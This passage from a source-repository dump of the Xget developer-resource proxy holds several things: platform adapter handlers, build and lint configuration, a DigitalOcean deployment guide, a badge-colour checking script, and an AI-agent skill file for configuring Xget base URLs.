Deno.env.get('CACHE_DURATION'), ALLOWED_METHODS: Deno.env.get('ALLOWED_METHODS'), ALLOWED_ORIGINS: Deno.env.get('ALLOWED_ORIGINS'), MAX_PATH_LENGTH: Deno.env.get('MAX_PATH_LENGTH') }; // Create minimal ExecutionContext-like object // Deno Deploy doesn't support waitUntil, so cache writes are synchronous const ctx = { waitUntil: ( /** @type {Promise} */ promise ) => { void promise; // No-op on Deno: background tasks not supported console.warn('waitUntil is not supported in Deno Deploy'); }, passThroughOnException: () => { console.warn('passThroughOnException is not supported in Deno Deploy'); } }; // Delegate to the main request handler return handleRequest(request, env, ctx); } // Start the server only when executing inside Deno. if (typeof Deno !== 'undefined' && typeof Deno.serve === 'function') { Deno.serve(handler); } export { handler }; ================================================ FILE: adapters/functions/netlify/edge-functions/edge-handler.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. */ /** * Netlify Edge Function entry point. * * This file serves as a redirect to the edge function handler * located at /api/index.js. Both Netlify and Vercel can use the same * handler code, with platform detection handling the differences. * * Netlify requires edge functions to be in netlify/edge-functions/, * while Vercel uses /api/ directory. This approach maintains a single * source of truth at /api/index.js. */ export { config, default } from '../../api/index.js'; ================================================ FILE: adapters/functions/netlify.toml ================================================ [[edge_functions]] function = "edge-handler" path = "/*" [build] publish = "." ================================================ FILE: adapters/functions/package.json ================================================ { "name": "xget", "version": "1.0.0", "type": "module", "private": false, "scripts": { "dev": "vercel dev", "deploy": "vercel --prod", "vercel-build": "echo 'No build step required'" }, "dependencies": { "express": "^4.19.2" }, "devDependencies": { "@vercel/node": "^3.0.0" } } ================================================ FILE: adapters/functions/vercel.json ================================================ { "$schema": "https://openapi.vercel.sh/vercel.json", "name": "xget", "version": 2, "rewrites": [ { "source": "/(.*)", "destination": "/api/index.js" } ], "headers": [ { "source": "/(.*)", "headers": [ { "key": "X-Powered-By", "value": "Xget/Vercel" } ] } ] } ================================================ FILE: adapters/pages/functions/[[path]].js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ import { handleRequest } from '../../../src/app/handle-request.js'; /** * @typedef {{ * request: Request, * env: Record, * params: object, * waitUntil: (promise: Promise) => void, * next: () => Promise, * data: object * }} PagesFunctionContext */ /** * Pages Function handler for all routes. * * This catch-all route handler processes all incoming requests to the Xget * acceleration engine. It delegates request processing to the main handleRequest * function from the Workers code, maintaining full compatibility with the * existing implementation. * * The [[path]] syntax in the filename creates a catch-all route that matches * any path, allowing this single function to handle all requests to the Pages * application. * @param {PagesFunctionContext} context - Pages Function context * @returns {Promise} The HTTP response to return to the client * @example * // This is called automatically by Pages * // Runtime invokes: onRequest(context) * // Returns: Response with package data * @example * // Environment variables usage * // wrangler.toml: [vars] TIMEOUT_SECONDS = "60" * // context.env contains: { TIMEOUT_SECONDS: "60" } * // handleRequest uses createConfig(env) to override defaults */ export async function onRequest(context) { // Extract request, env, and create an execution context compatible with Workers const { request, env, waitUntil } = context; // Create a minimal ExecutionContext-like object for compatibility const ctx = { waitUntil, passThroughOnException: () => { // Pages doesn't support passThroughOnException, so this is a no-op console.warn('passThroughOnException is not supported in Pages Functions'); } }; // Delegate to the main request handler return handleRequest(request, env, ctx); } ================================================ FILE: adapters/pages/wrangler.toml ================================================ #:schema node_modules/wrangler/config-schema.json name = "xget" pages_build_output_dir = "." compatibility_date = "2024-10-22" compatibility_flags = ["nodejs_compat"] ================================================ FILE: codecov.yml ================================================ codecov: require_ci_to_pass: true strict_yaml_branch: main coverage: precision: 2 round: down range: 0..100 status: project: default: target: auto threshold: 0.5% patch: default: target: 85% threshold: 2% ignore: - "test/**" - "coverage/**" - "docs/**" - "adapters/**" - "scripts/**" - ".github/**" - "*.config.js" - "*.config.mjs" comment: layout: "condensed_header, condensed_files, condensed_footer" behavior: default require_changes: false hide_project_coverage: false ================================================ FILE: commitlint.config.mjs ================================================ export default { extends: ["@commitlint/config-conventional"], }; ================================================ FILE: config.capnp ================================================ using Workerd = import "/workerd/workerd.capnp"; const config :Workerd.Config = ( services = [ (name = "main", worker = .worker), ], sockets = [ (service = "main", name = "http", address = "*:8080", http = ()), ], ); const worker :Workerd.Worker = ( modules = [ (name = "worker", esModule = embed "dist/index.js"), ], # Match the compatibility_date in wrangler.toml compatibilityDate = "2024-10-22", # Enable Node.js compatibility to match wrangler.toml compatibilityFlags = ["nodejs_compat"], ); ================================================ FILE: docs/deploy-on-digitalocean.md ================================================ # Deploying and Optimizing Xget on DigitalOcean Xget itself is shipped as a container image, so it fits very naturally into DigitalOcean’s ecosystem (Droplets, App Platform, Kubernetes, and Container Registry). This guide explains how to run Xget efficiently on DigitalOcean and how to design a simple, robust acceleration layer for your team. ## 1. Which DigitalOcean product should I use for Xget? Depending on your scale and operations model, you can pick one of these typical setups: | Scenario | Recommended option | Characteristics | | ------------------------------------------- | ------------------------------ | ------------------------------------------------------------------- | | Personal / small team, simple traffic | Droplet + Docker Compose | Lowest cost, closest to the official self-hosting examples | | Small / mid-size team, prefer fully managed | App Platform (container mode) | Automatic HTTPS, deployments, and autoscaling | | Large team / enterprise, complex traffic | DigitalOcean Kubernetes (DOKS) | Most flexible; supports fine-grained scaling and rollout strategies | You can also use DigitalOcean Container Registry (DOCR) for your own Xget builds or to host business images that Xget will accelerate. ## 2. Option 1: Droplet + Docker Compose (closest to "plain" self-hosting) ### 2.1 Prerequisites 1. **Create a Droplet** * Recommended OS: Ubuntu 22.04 / 24.04 LTS. * Size suggestions: * Personal / small team: 1 vCPU / 1–2 GB RAM to start with. * High concurrent downloads: prefer Premium Intel/AMD or CPU-Optimized Droplets. * Region: pick a region close to your main users or to upstream services (e.g., GitHub, GHCR, DOCR). 2. **Configure DNS** In DigitalOcean DNS, create a record, for example: * `xget.example.com` → your Droplet’s public IP address. 3. **Install Docker & Docker Compose (example on Ubuntu)** ```bash # Update system sudo apt update && sudo apt upgrade -y # Install dependencies sudo apt install -y ca-certificates curl gnupg # Docker’s official GPG key and repo sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \ sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg echo \ "deb [arch=$(dpkg --print-architecture) \ signed-by=/etc/apt/keyrings/docker.gpg] \ https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin # Allow current user to run docker without sudo (optional) sudo usermod -aG docker $USER ``` Log out and back in so group changes take effect. ### 2.2 Deploy Xget using Docker Compose Based on the self-hosting examples in the Xget README, it’s recommended to manage the container via Docker Compose. 1. **Create a directory and `docker-compose.yml`:** ```bash mkdir -p ~/xget && cd ~/xget ``` ```yaml # docker-compose.yml version: '3.8' services: xget: image: ghcr.io/xixu-me/xget:latest container_name: xget # Bind only to 127.0.0.1; expose via reverse proxy ports: - "127.0.0.1:8080:8080" restart: unless-stopped ``` 2. **Bring up the service:** ```bash docker compose up -d ``` Now Xget is running inside the Droplet on `127.0.0.1:8080`. ### 2.3 Expose HTTPS via nginx + Let’s Encrypt Instead of exposing port 8080 directly, run nginx on the Droplet as a reverse proxy with HTTPS. 1. **Install nginx and Certbot:** ```bash sudo apt install -y nginx certbot python3-certbot-nginx ``` 2. **Request a certificate (example: `xget.example.com`):** ```bash sudo certbot --nginx -d xget.example.com ``` 3. **Configure reverse proxy** Certbot will create a `server` block for you. You can adapt/add configuration like: ```nginx server { listen 80; server_name xget.example.com; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name xget.example.com; # ssl_certificate / ssl_certificate_key and related settings # are usually injected by Certbot automatically. location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Longer timeouts for big downloads proxy_read_timeout 600s; proxy_send_timeout 600s; } } ``` 4. **Reload nginx:** ```bash sudo nginx -t sudo systemctl reload nginx ``` Now users can access Xget via `https://xget.example.com` through nginx → Xget container. ### 2.4 Harden security with DigitalOcean Cloud Firewall To reduce attack surface and abuse risk: * In Cloud Firewalls: * Allow inbound only: `22` (SSH), `80` (HTTP) and `443` (HTTPS). * Do *not* expose `8080` to the public Internet. * If needed, further restrict: * Only allow company office IP ranges or CI/CD nodes. * Combine with a VPN or other gateway if you need more control. ## 3. Option 2: DigitalOcean App Platform (fully managed) App Platform can run Xget directly from a container image or source code repo. It handles load balancing, TLS, and autoscaling for you, which is great if you don’t want to manage servers. ### 3.1 Basic flow 1. **Prepare the container image** Two common options: * Use the official image: `ghcr.io/xixu-me/xget:latest` * Or mirror/rebuild Xget into DOCR if you want a private registry or faster internal pulls. 2. **Create an App** In the DigitalOcean control panel: * Create new App → choose "Container". * Source: * DigitalOcean Container Registry *or* * an external image (`ghcr.io/xixu-me/xget:latest`). * Set the internal listening port to `8080`. 3. **Configure routing** * Map external path `/` to the Xget service. * Bind your domain (e.g. `xget.example.com`) to the app and enable automatic HTTPS. 4. **Scaling** * In the Scaling section, set minimum number of instances, e.g. 2 replicas for high availability. * Configure autoscaling based on CPU / memory usage. ### 3.2 Pros and caveats * **Pros** * No OS or Docker maintenance. * Built-in TLS / certificate management. * Simple scaling and deployment UX. * **Caveats** * Xget is sensitive to large download traffic: you should monitor bandwidth and outbound data transfer costs. * For advanced network control (VPC-only access, strict firewall rules), combine App Platform with Cloud Firewall and VPC. ## 4. Option 3: DigitalOcean Kubernetes (DOKS) When you need multiple replicas, blue-green deployments, or fine-grained rollout strategies, run Xget on DOKS as a standard `Deployment`. ### 4.1 Example Deployment & Service > Note: the health check path below uses `/`. If your build of Xget exposes a dedicated health endpoint, adjust accordingly. ```yaml apiVersion: apps/v1 kind: Deployment metadata: name: xget spec: replicas: 2 selector: matchLabels: app: xget template: metadata: labels: app: xget spec: containers: - name: xget image: ghcr.io/xixu-me/xget:latest ports: - containerPort: 8080 resources: requests: cpu: "250m" memory: "256Mi" limits: cpu: "1" memory: "512Mi" readinessProbe: httpGet: path: / port: 8080 initialDelaySeconds: 5 periodSeconds: 10 livenessProbe: httpGet: path: / port: 8080 initialDelaySeconds: 30 periodSeconds: 30 --- apiVersion: v1 kind: Service metadata: name: xget spec: selector: app: xget ports: - port: 80 targetPort: 8080 type: LoadBalancer ``` * `type: LoadBalancer` will automatically create a DigitalOcean Load Balancer and assign a public IP. * Point `xget.example.com` to the Load Balancer IP in your DNS. If you are using an Ingress Controller (nginx Ingress, Traefik, etc.), you can change the service type to `ClusterIP` and configure Ingress + cert-manager for Let’s Encrypt. ## 5. Using DOCR + Xget as an image accelerator Xget can act as a registry accelerator for multiple container registries, including DigitalOcean Container Registry (DOCR). The typical pattern is: * Original: `https://registry.digitalocean.com/...` * Through Xget: `https:///cr/digitalocean/...` ### 5.1 Example: accelerate DOCR pulls Suppose your DOCR image is: ```text registry.digitalocean.com/my-registry/my-image:latest ``` You can convert it to: ```text https://xget.example.com/cr/digitalocean/my-registry/my-image:latest ``` This is especially useful for scripting, diagnostic, or advanced caching setups around DOCR. ### 5.2 Using Xget as a pull accelerator (daemon.json idea) In some environments you can configure Docker / containerd to use Xget as a registry mirror. For example, in `/etc/docker/daemon.json`: ```json { "registry-mirrors": [ "https://xget.example.com/cr/digitalocean" ] } ``` > Note: Support for non–Docker Hub mirrors depends on the Docker/containerd version and configuration. Treat this as a pattern; always verify behavior in your own environment. ## 6. Using Xget on DigitalOcean to accelerate AI inference and dev dependencies Xget also supports API acceleration for multiple AI inference providers (e.g., OpenAI, Anthropic, Gemini) through URL conversions such as `ip/`. Once Xget is deployed on DigitalOcean, simply replace the public demo domain in examples with your own domain: ```env # .env example OPENAI_BASE_URL=https://xget.example.com/ip/openai ANTHROPIC_BASE_URL=https://xget.example.com/ip/anthropic GEMINI_BASE_URL=https://xget.example.com/ip/gemini ``` Then in your code (Python + OpenAI SDK): ```python import os from openai import OpenAI client = OpenAI( api_key=os.getenv("OPENAI_API_KEY"), base_url=os.getenv("OPENAI_BASE_URL"), ) ``` If your CI/CD pipelines or backend services also run on DigitalOcean (Droplets, App Platform, DOKS), they can access Xget very close in network topology, reducing latency and cross-region hops. ## 7. Monitoring, logging, and cost optimization 1. **Monitoring** * **Droplet**: Install the DigitalOcean Monitoring Agent to track CPU, memory, and bandwidth. * **App Platform / DOKS**: Use the built-in metrics views and alerts. * At the application level, you can inspect Xget’s response headers (e.g., performance metrics) to understand cache hits and upstream delays if Xget exposes such information in your setup. 2. **Logging** * Use `docker logs` or `kubectl logs` to inspect Xget container logs. * Aggregate nginx / Ingress logs plus Xget logs into a centralized stack (ELK, Loki, etc.) for easier debugging. 3. **Cost optimization** * Start with a smaller Droplet or the lowest App Platform plan, then scale based on real traffic. * For very high outbound traffic, focus on: * Improving cache hit ratio. * Avoiding redundant upstream requests. * Choose regions that balance: * End-user latency. * Upstream connectivity quality (e.g., to GitHub, DOCR, AI providers). ## 8. Security and abuse prevention Because Xget is fundamentally a high-performance HTTP / Git / container registry proxy, you need to be careful about abuse: * Do not expose a completely open, unauthenticated Xget service to the entire public Internet if you don’t fully understand the risk. * Recommended mitigations: * Restrict access to trusted IP ranges (office network, VPN, CI/CD nodes). * Add authentication at the reverse proxy or gateway layer (e.g., Basic Auth, token-based, or JWT). * Configure reasonable timeouts and concurrency limits to reduce the impact of misuse and protect upstreams. With these patterns, you can deploy Xget on DigitalOcean using Droplets, App Platform, or Kubernetes, and combine it with DOCR, DNS, and firewalls to build a unified, robust acceleration layer for repositories, container images, and AI inference traffic. ================================================ FILE: eslint.config.js ================================================ import js from '@eslint/js'; import prettierConfig from 'eslint-config-prettier'; import jsdoc from 'eslint-plugin-jsdoc'; export default [ js.configs.recommended, jsdoc.configs['flat/recommended'], { files: ['src/**/*.js', 'test/**/*.js', 'adapters/**/*.js'], languageOptions: { ecmaVersion: 2022, sourceType: 'module', globals: { // Cloudflare Workers globals addEventListener: 'readonly', caches: 'readonly', crypto: 'readonly', fetch: 'readonly', Request: 'readonly', Response: 'readonly', Headers: 'readonly', URL: 'readonly', URLSearchParams: 'readonly', console: 'readonly', AbortController: 'readonly', AbortSignal: 'readonly', setTimeout: 'readonly', clearTimeout: 'readonly', setInterval: 'readonly', clearInterval: 'readonly', ReadableStream: 'readonly', WritableStream: 'readonly', TransformStream: 'readonly', TextEncoder: 'readonly', TextDecoder: 'readonly', performance: 'readonly', globalThis: 'readonly', process: 'readonly', // Vitest globals describe: 'readonly', it: 'readonly', expect: 'readonly', beforeEach: 'readonly', afterEach: 'readonly', beforeAll: 'readonly', afterAll: 'readonly', vi: 'readonly' } }, settings: { jsdoc: { mode: 'typescript', tagNamePreference: { returns: 'returns' } } }, rules: { // JSDoc rules overrides 'jsdoc/require-description': 'warn', 'jsdoc/require-returns': 'off', // Often redundant if return type is void or obvious 'jsdoc/require-param-description': 'off', // Names are often self-explanatory 'jsdoc/no-undefined-types': [ 'warn', { definedTypes: [ 'ExecutionContext', 'Cache', 'RequestInit', 'Request', 'Response', 'Headers', 'URL', 'URLSearchParams', 'AbortController', 'AbortSignal', 'ReadableStream', 'WritableStream', 'TransformStream', 'TextEncoder', 'TextDecoder' ] } ], // Code quality rules 'no-unused-vars': [ 'error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_' } ], 'no-console': [ 'warn', { allow: ['warn', 'error'] } ], 'no-debugger': 'error', 'no-alert': 'error', // Best practices eqeqeq: ['error', 'always'], curly: ['error', 'all'], 'no-eval': 'error', 'no-implied-eval': 'error', 'no-new-func': 'error', 'no-script-url': 'error', 'no-self-compare': 'error', 'no-sequences': 'error', 'no-throw-literal': 'error', 'no-unmodified-loop-condition': 'error', 'no-unused-expressions': 'error', 'no-useless-call': 'error', 'no-useless-concat': 'error', 'no-useless-return': 'error', 'prefer-promise-reject-errors': 'error', radix: 'error', yoda: 'error', // Variables 'no-delete-var': 'error', 'no-label-var': 'error', 'no-restricted-globals': 'error', 'no-shadow': 'error', 'no-shadow-restricted-names': 'error', 'no-undef': 'error', 'no-undef-init': 'error', 'no-use-before-define': [ 'error', { functions: false, classes: true, variables: true } ], // Stylistic issues 'array-bracket-spacing': ['error', 'never'], 'block-spacing': ['error', 'always'], 'brace-style': [ 'error', '1tbs', { allowSingleLine: true } ], camelcase: [ 'error', { properties: 'never' } ], 'comma-dangle': ['error', 'never'], 'comma-spacing': [ 'error', { before: false, after: true } ], 'comma-style': ['error', 'last'], 'computed-property-spacing': ['error', 'never'], 'eol-last': ['error', 'always'], 'func-call-spacing': ['error', 'never'], indent: [ 'error', 2, { SwitchCase: 1 } ], 'key-spacing': [ 'error', { beforeColon: false, afterColon: true } ], 'keyword-spacing': [ 'error', { before: true, after: true } ], 'linebreak-style': ['error', 'unix'], 'no-multiple-empty-lines': [ 'error', { max: 2, maxEOF: 1 } ], 'no-trailing-spaces': 'error', 'object-curly-spacing': ['error', 'always'], quotes: [ 'error', 'single', { avoidEscape: true } ], semi: ['error', 'always'], 'semi-spacing': [ 'error', { before: false, after: true } ], 'space-before-blocks': ['error', 'always'], 'space-before-function-paren': [ 'error', { anonymous: 'always', named: 'never', asyncArrow: 'always' } ], 'space-in-parens': ['error', 'never'], 'space-infix-ops': 'error', 'space-unary-ops': [ 'error', { words: true, nonwords: false } ], // ES6+ rules 'arrow-spacing': [ 'error', { before: true, after: true } ], 'constructor-super': 'error', 'no-class-assign': 'error', 'no-const-assign': 'error', 'no-dupe-class-members': 'error', 'no-duplicate-imports': 'error', 'no-new-symbol': 'error', 'no-this-before-super': 'error', 'no-useless-computed-key': 'error', 'no-useless-constructor': 'error', 'no-useless-rename': 'error', 'no-var': 'error', 'object-shorthand': ['error', 'always'], 'prefer-arrow-callback': 'error', 'prefer-const': 'error', 'prefer-destructuring': [ 'error', { array: true, object: true }, { enforceForRenamedProperties: false } ], 'prefer-rest-params': 'error', 'prefer-spread': 'error', 'prefer-template': 'error', 'rest-spread-spacing': ['error', 'never'], 'template-curly-spacing': ['error', 'never'] } }, prettierConfig, // Disable formatting rules that conflict with Prettier { files: ['test/**/*.js'], rules: { // Relax some rules for test files 'no-console': 'off', 'no-unused-expressions': 'off' } } ]; ================================================ FILE: package.json ================================================ { "dependencies": { "express": "^5.2.1" }, "devDependencies": { "@cloudflare/vitest-pool-workers": "^0.13.3", "@cloudflare/workers-types": "^4.20260307.1", "@commitlint/cli": "^20.5.0", "@commitlint/config-conventional": "^20.5.0", "@eslint/js": "^10.0.1", "@vitest/coverage-istanbul": "^4.1.0", "eslint": "^10.0.3", "eslint-config-prettier": "^10.1.8", "eslint-plugin-jsdoc": "^62.8.0", "istanbul-lib-coverage": "^3.2.2", "istanbul-lib-report": "^3.0.1", "istanbul-reports": "^3.2.0", "prettier": "^3.8.1", "simple-git-hooks": "^2.13.1", "typescript": "^5.9.3", "vitest": "^4.1.0", "wrangler": "^4.76.0" }, "name": "xget", "license": "AGPL-3.0-or-later", "private": false, "scripts": { "commitlint": "commitlint --last --verbose", "commitmsg": "commitlint --edit", "deploy": "wrangler deploy", "dev": "wrangler dev", "format": "prettier --write src/ test/ *.js *.json", "format:check": "prettier --check src/ test/ *.js *.json", "lint": "eslint src/ test/ adapters/", "lint:fix": "eslint src/ test/ adapters/ --fix", "prepare": "simple-git-hooks", "start": "wrangler dev", "test": "vitest", "test:coverage": "vitest run --config vitest.coverage.config.js --coverage", "test:run": "vitest run", "test:ui": "vitest --ui", "test:watch": "vitest --watch", "type-check": "tsc --noEmit" }, "simple-git-hooks": { "commit-msg": "npx commitlint --edit $1" }, "type": "module", "version": "1.0.0" } ================================================ FILE: scripts/fix-badge-colors.js ================================================ import { readFileSync, writeFileSync } from 'fs'; import { dirname, join } from 'path'; import { fileURLToPath } from 'url'; const __filename = fileURLToPath(import.meta.url); const __dirname = dirname(__filename); // Check if --fix flag is provided const shouldFix = process.argv.includes('--fix'); // Extract badge info from README file /** * * @param filePath */ function extractBadgeInfo(filePath) { const content = readFileSync(filePath, 'utf8'); const badgeRegex = /\[!\[.*?\]\(https:\/\/img\.shields\.io\/badge\/(.*?)-([0-9A-Fa-f]{6})\?.*?logo=([a-z0-9-]+)/gi; const badges = {}; let match; while ((match = badgeRegex.exec(content)) !== null) { const fullMatch = match[0]; const label = match[1]; const color = match[2]; const logo = match[3]; // Normalize logo name (lowercase and remove dashes for Simple Icons lookup) const normalizedLogo = logo.toLowerCase().replace(/-/g, ''); if (!badges[normalizedLogo]) { badges[normalizedLogo] = { color: color, logo: logo, label: label, fullMatch: fullMatch }; } } return badges; } // Fix badge colors in README file /** * * @param filePath * @param colorChanges */ function fixBadgeColors(filePath, colorChanges) { let content = readFileSync(filePath, 'utf8'); let changeCount = 0; for (const [logo, change] of Object.entries(colorChanges)) { const oldColor = change.current.toUpperCase(); const newColor = change.official.toUpperCase(); // Create regex to match badges with this logo and old color const badgeRegex = new RegExp( `(\\[!\\[.*?\\]\\(https:\\/\\/img\\.shields\\.io\\/badge\\/.*?-)${oldColor}(\\?.*?logo=${change.logoName})`, 'gi' ); const newContent = content.replace(badgeRegex, `$1${newColor}$2`); if (newContent !== content) { changeCount++; content = newContent; console.log(` ✅ Fixed ${logo}: ${oldColor} → ${newColor}`); } } if (changeCount > 0) { writeFileSync(filePath, content, 'utf8'); return changeCount; } return 0; } /** * */ async function fetchSimpleIcons() { const response = await fetch( 'https://raw.githubusercontent.com/simple-icons/simple-icons/refs/heads/develop/data/simple-icons.json' ); const icons = await response.json(); // Create a map of slug -> hex color const iconMap = {}; icons.forEach(icon => { // Use slug if available, otherwise generate from title const slug = icon.slug || icon.title.toLowerCase().replace(/[^a-z0-9]/g, ''); iconMap[slug] = icon.hex; }); return iconMap; } /** * * @param filePath * @param simpleIcons */ function checkReadme(filePath, simpleIcons) { const fileName = filePath.split(/[\\/]/).pop(); const currentBadges = extractBadgeInfo(filePath); console.log(`\n${'='.repeat(80)}`); console.log(`📄 ${fileName}`); console.log('='.repeat(80)); console.log( 'Logo Name'.padEnd(25) + 'Current Color'.padEnd(20) + 'Official Color'.padEnd(20) + 'Status' ); console.log('='.repeat(80)); let totalChecked = 0; let correctCount = 0; let incorrectCount = 0; const issues = {}; for (const [logo, badgeInfo] of Object.entries(currentBadges)) { totalChecked++; const currentColor = badgeInfo.color; const officialColor = simpleIcons[logo]; if (!officialColor) { console.log( `${logo.padEnd(25)}${currentColor.padEnd(20)}${'NOT FOUND'.padEnd(20)}⚠️ Missing` ); continue; } const currentUpper = currentColor.toUpperCase(); const officialUpper = officialColor.toUpperCase(); if (currentUpper === officialUpper) { console.log( `${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}✅ Correct` ); correctCount++; } else { console.log( `${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}❌ Mismatch` ); incorrectCount++; issues[logo] = { current: currentColor, official: officialColor, logoName: badgeInfo.logo }; } } console.log('='.repeat(80)); console.log(`\nSummary for ${fileName}:`); console.log(`Total badges checked: ${totalChecked}`); console.log(`✅ Correct: ${correctCount}`); console.log(`❌ Incorrect: ${incorrectCount}`); if (Object.keys(issues).length > 0) { console.log('\n🔧 Badges that need updating:\n'); Object.entries(issues).forEach(([logo, issue]) => { console.log(`${logo}:`); console.log(` Current: ${issue.current}`); console.log(` Official: ${issue.official}`); console.log(` Change: ${issue.current} → ${issue.official}\n`); }); if (shouldFix) { console.log('🔧 Applying fixes...\n'); const fixedCount = fixBadgeColors(filePath, issues); console.log(`✅ Fixed ${fixedCount} badge(s) in ${fileName}`); } } else { console.log('\n🎉 All badge colors are correct!'); } return issues; } /** * */ async function main() { console.log('Fetching Simple Icons data...\n'); const simpleIcons = await fetchSimpleIcons(); const readmes = [ join(__dirname, '..', 'README.md'), join(__dirname, '..', 'README.zh-Hans.md'), join(__dirname, '..', 'README.zh-Hant.md') ]; let anyIssues = false; for (const readmePath of readmes) { const issues = checkReadme(readmePath, simpleIcons); if (Object.keys(issues).length > 0) anyIssues = true; } if (anyIssues && !shouldFix) { console.log('\n💡 Tip: Run with --fix flag to automatically fix all mismatches:'); console.log(' node scripts/fix-badge-colors.js --fix\n'); } else if (!anyIssues) { console.log('\n🎉 All badge colors across all READMEs are correct!'); } else { console.log('\n🎉 All badge colors have been fixed!'); } } main().catch(console.error); ================================================ FILE: skills/xget/SKILL.md ================================================ --- name: xget description: Execute Xget work in real developer workflows. Use this skill when a task involves Xget URL rewriting, registry/package/container/API acceleration, integrating Xget into Git, download tools, package managers, container builds, AI SDKs, CI/CD, deployment, or self-hosting, or adapting commands and config from the live README `Use Cases` section into the user's files, environment, shell, or base URL. --- # Xget Default to execution, not instruction. When the user expresses execution intent, carry the change through directly: run the needed shell commands, edit the real files, and verify the result instead of only replying with example commands. Treat requests like "configure", "set up", "wire", "change", "add", "fix", "migrate", "deploy", "run", or "make this use Xget" as execution intent unless the user clearly asks for explanation only. Resolve the base URL first: 1. use a domain the user explicitly gave 2. otherwise use `XGET_BASE_URL` from the environment 3. if neither exists, ask for the user's Xget base URL and whether it should be set temporarily for the current shell/session or persistently for future shells 4. use `https://xget.example.com` only as a clearly labeled placeholder for docs or templates that do not have a real deployment yet Prefer `scripts/xget.mjs` over manual guessing for live platform data, URL conversion, and README `Use Cases` lookup. Only stop to ask when a missing fact blocks safe execution, such as an unknown real base URL for a command that must run against a live deployment. If the user only needs docs or templates, use the placeholder path rules below. ## Workflow 1. Classify the task before reaching for examples: - execution intent: the user wants commands run, files changed, or config applied now - guidance intent: the user explicitly wants examples, explanation, or a template without applying it yet - then bucket the technical area: one-off URL conversion or prefix lookup; Git or download-tool acceleration; package-manager or language-ecosystem configuration; container image, Dockerfile, Kubernetes, or CI/CD acceleration; AI SDK / inference API base-URL configuration; deploying or self-hosting Xget itself 2. Complete the base-URL preflight above. If the user wants help setting `XGET_BASE_URL`, open [the reference guide](references/REFERENCE.md) and: - when the user asked you to set or wire it, run the shell-appropriate temporary or persistent commands directly when the environment allows it - when you cannot safely execute, ask the smallest blocking question or give the exact command with the missing value clearly called out 3. Pull live README guidance in two steps instead of loading the whole section by default: - list candidate headings with `node scripts/xget.mjs topics --format json` - narrow with `--match` or fetch a specific section with `node scripts/xget.mjs snippet --base-url https://xget.example.com --heading "Docker Compose Configuration" --format text` 4. Prefer the smallest relevant live subsection. If a repeated child heading like `Use in Project` is ambiguous, fetch its parent section instead. 5. Adapt the live guidance to the user's real task: - for execution intent, apply the change end-to-end instead of stopping at example commands - run commands yourself when the request is to install, configure, rewrite, switch, migrate, test, or otherwise perform the change - edit the actual config or source files when the user wants implementation, not just explanation - keep shell commands aligned with the user's OS and shell - preserve existing project conventions unless the user asked for a broader rewrite - after changing files or running commands, perform a lightweight verification step when practical 6. Refresh the live platform map with `node scripts/xget.mjs platforms --format json` when the answer depends on current prefixes, and use `convert` for exact URL rewrites. 7. Combine multiple live sections when the workflow spans multiple layers. For example, pair a package-manager section with container, deployment, or `.env` guidance when the user's project needs more than one integration point. 8. Before finishing, sanity-check that every command, file edit, or example uses the right Xget path shape: - repo/content: `/{prefix}/...` - crates.io HTTP URLs: `/crates/...` rather than `/crates/api/v1/crates/...` - inference APIs: `/ip/{provider}/...` - OCI registries: `/cr/{registry}/...` 9. If the live platform fetch fails or an upstream URL does not match any known platform, say so explicitly and fall back to the stable guidance in [references/REFERENCE.md](references/REFERENCE.md) instead of inventing a prefix. ================================================ FILE: skills/xget/references/REFERENCE.md ================================================ # Xget Reference Use this file only when the user needs shell setup, deployment, or troubleshooting details. Reuse the base URL already resolved from `SKILL.md`, and keep `https://xget.example.com` as a placeholder only for docs or templates. ## Configuring `XGET_BASE_URL` Ask which shell the user is using before giving commands when it is unclear. Offer one of these two setup modes: ### Temporary (current shell or session) - PowerShell: ```powershell $env:XGET_BASE_URL = "https://xget.example.com" ``` - bash / zsh: ```bash export XGET_BASE_URL="https://xget.example.com" ``` - fish: ```fish set -x XGET_BASE_URL https://xget.example.com ``` ### Persistent (future shells) - PowerShell profile: ```powershell if (!(Test-Path $PROFILE)) { New-Item -ItemType File -Path $PROFILE -Force | Out-Null } Add-Content $PROFILE '$env:XGET_BASE_URL = "https://xget.example.com"' ``` - bash: ```bash echo 'export XGET_BASE_URL="https://xget.example.com"' >> ~/.bashrc ``` - zsh: ```bash echo 'export XGET_BASE_URL="https://xget.example.com"' >> ~/.zshrc ``` - fish: ```fish set -Ux XGET_BASE_URL https://xget.example.com ``` After a persistent change, remind the user to open a new shell or reload their profile before retrying commands. ## Live platform source The authoritative platform list for this skill comes from: `https://raw.gitcode.com/xixu-me/xget/raw/main/src/config/platform-catalog.js` Fetch it from the repository root with: ```bash node scripts/xget.mjs platforms --format json ``` ## README `Use Cases` section List the latest README `Use Cases` headings first: ```bash node scripts/xget.mjs topics --format text ``` Narrow the list when the user's task is obvious: ```bash node scripts/xget.mjs topics --match docker --format text ``` Fetch only the smallest relevant live subsection and rewrite the public demo domain to your resolved base URL: ```bash node scripts/xget.mjs snippet --base-url https://xget.example.com --heading "Docker Compose Configuration" --format text ``` If `XGET_BASE_URL` is already configured, the skill can omit `--base-url` and read 